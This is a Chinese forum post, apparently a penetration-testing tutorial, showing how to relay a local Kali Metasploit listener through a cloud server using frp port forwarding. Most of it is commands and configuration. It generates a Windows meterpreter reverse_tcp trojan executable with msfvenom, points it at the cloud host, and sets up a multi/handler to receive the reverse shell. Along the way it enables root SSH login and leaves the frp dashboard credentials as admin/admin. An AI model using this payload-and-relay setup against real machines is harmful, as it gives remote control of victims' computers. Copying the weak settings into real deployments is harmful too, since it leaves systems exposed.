libo 发表于 2018-6-12 08:46:50

低成本打造一个高性能的外网 metasploit


本文主要围绕着 frp 这个神器来展开写的,frp 还有很多高级的用法,想要深入研究的建议去阅读作者写在 GitHub 上的官方文档去学习, 祝你学习愉快。
前言经常用 metasploit 反弹 shell 的小伙伴应该都知道再外网有 一台 Metasploit 是一件多么奢侈的事情~~ 然而一台性能不错的云主机价格大都不菲,并且自己本地高性能的 Metasploit 用的那么顺手可惜就是没有外网 IP。所以这篇文章就此诞生了,利用云主机的独立 IP,将本地的 Metasploit 端口转发到外网上面去。其实我本人对网络端口转发、网络协议这里很容易搞混淆,让我自己去折腾这个估计得走很多弯路,还不一定成功的那种。本文是在幸安哥的指导下才最终写出来的,祝幸安哥早日拿到新的 hhkb。
http://image.3001.net/images/20180327/1522142020129.png云服务器选购考虑到低延迟等特性,买一台国内普通的云主机就可以了。云主机的话腾讯云有学生特惠价,蛮便宜的。http://image.3001.net/images/20180327/15221421854125.png活动地址是:https://cloud.tencent.com/act/campus?fromSource=gwzcw.786783.786783.786783本次是在CentOS下面搭建的,所以选好服务器后,安装一个 CentOS 系统即可。安利一个终端MobaXterm
[*]支持滑动复制
[*]支持命令行高亮
[*]免费版功能够用
[*]支持 SSH、Telnet、Rsh、Xdmcp、RDP、VNC、FTP、SFTP、Serial、Mosh、Aws S3 等主流协议
界面如下:http://image.3001.net/images/20180327/15221428421307.png搭建环境准备
[*]frps 部署机, centos7 为例, 有外网固定 ip, 假设 ip 为 1.1.1.1, 后文简称frps
[*]frpc 客户机, kali 2.0 为例, 能访问互联网, 后文简称frpc
CentOS 的配置下载 frpGithub 项目地址:https://github.com/fatedier/frp找到最新的 releases 下载,系统版本自行确认。
1
2
3
4
5
6
7
> wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz

> tar -zxvf frp_0.16.1_linux_amd64.tar.gz

> cd frp_0.16.1_linux_amd64/

> rm -rf frpc*

编写 frps 配置文件
1
> vi frps.ini

内容如下:
1
2
3
4
5

bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin


[*]第 1 行为 frps 和 frpc 之间通讯端口
[*]第 2 行为监控页面 web 地址
[*]第 3.4 行为监控页面密码
文末会展示其效果。运行 frps运行 frps,-c参数用于指定配置文件, 在同级目录下的话 可以直接运行.frps
1
./frps -c frps.ini

http://image.3001.net/images/20180327/15221581586363.pngKali 的配置配置 SSH运行 root 远程登陆 s编辑 ssh 配置文件/etc/ssh/sshd_config
1
root@kali:~ vim /etc/ssh/sshd_config

在配置文件第一行前添加如下语句:
1
PermitRootLogin yes

http://image.3001.net/images/20180328/15222000023813.png重启 ssh 并设置为开机自启
1
2
root@kali:~ systemctl restart ssh
root@kali:~ systemctl enable ssh

验证 SSH本地使用终端连接虚拟机中的 Kali,测试能否连接成功:http://image.3001.net/images/20180328/15222003258224.png下载 frp
1
2
3
4
5
6
7
root@kali:~> wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz

root@kali:~> tar -zxvf frp_0.16.1_linux_amd64.tar.gz

root@kali:~> cd frp_0.16.1_linux_amd64/

root@kali:~/frp_0.16.1_linux_amd64> rm -rf frps*

注这里最后一句是rm -rf frps*与 CentOS 下操作的最后一句不相同。编写 frpc 配置文件
1
root@kali:~/frp_0.16.1_linux_amd64> vi frpc.ini

内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
#frps的ip和端口

server_addr = 1.1.1.1
server_port = 7000

# kali ssh的配置

type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 10086
use_compression = true

这里的remote_port = 10086是将 Kali 的 22 端口映射到外网 IP1.1.1.1的10086端口的意思。运行 frpc-c参数用于指定配置文件, 在同级目录下的话 可以直接运行.frpc
1
./frpc -c frpc.ini

http://image.3001.net/images/20180328/15222018941783.pngSSH 连接测试
1
λ ssh root@1.1.1.1 -p 10086

成功!美滋滋~~http://image.3001.net/images/20180328/1522202433734.jpghttp://image.3001.net/images/20180328/15222026172590.pngmsf 反向 shell 测试回到正题现在来进行 Metasploit 下最基本的反向 shell 测试,看看能不能成功建立会话连接。生成 Payload使用 msfvenom 生成 exe 木马
1
root@kali:~> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=2333 -f exe > sqlsec.exe

32 位系统的 payload 语句调整为: windows/meterpreter/reverse_tcp这里的1.1.1.1是外网云主机的 IP 地址,2333是映射到外网的端口http://image.3001.net/images/20180328/15222305354649.png将生成的shell.exe拷贝到一台 Windows 机器上准备运行。添加 frpc 规则
1
root@kali:~/frp_0.16.1_linux_amd64> vi frpc.ini

修改为如下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

server_addr = 1.1.1.1
server_port = 7000


type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 10086


type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 2333

将 Kali 的4444端口转发到外网1.1.1.1的2333端口。运行 frps 和 frpc分别在CentOS和Kali下运行frps和frpc。http://image.3001.net/images/20180328/1522206238724.pngmsf 监听反弹的 shell
1
2
3
4
5
6
7
8
9
10
11
12
msf > use exploit/multi/handler

msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp

msf exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1

msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444

msf exploit(multi/handler) > run

注:32 位目标系统这里做如下调整: set PAYLOAD windows/meterpreter/reverse_tcp然后就开始监听本地的4444端口了,这个时候在 Windows 下运行sqslec.exe,Kali 这边成功拿到反弹的 shell 会话:http://image.3001.net/images/20180328/15222308598187.gif在浏览器中输入http://1.1.1.1:7500用户名和密码都是前面设置的admin,然后就直接进入了dashboard界面,可以更直观的观察到端口转发监听的情况:


Soar 发表于 2018-6-12 12:43:18

不错不错。谢谢分享
页: [1]
查看完整版本: 低成本打造一个高性能的外网 metasploit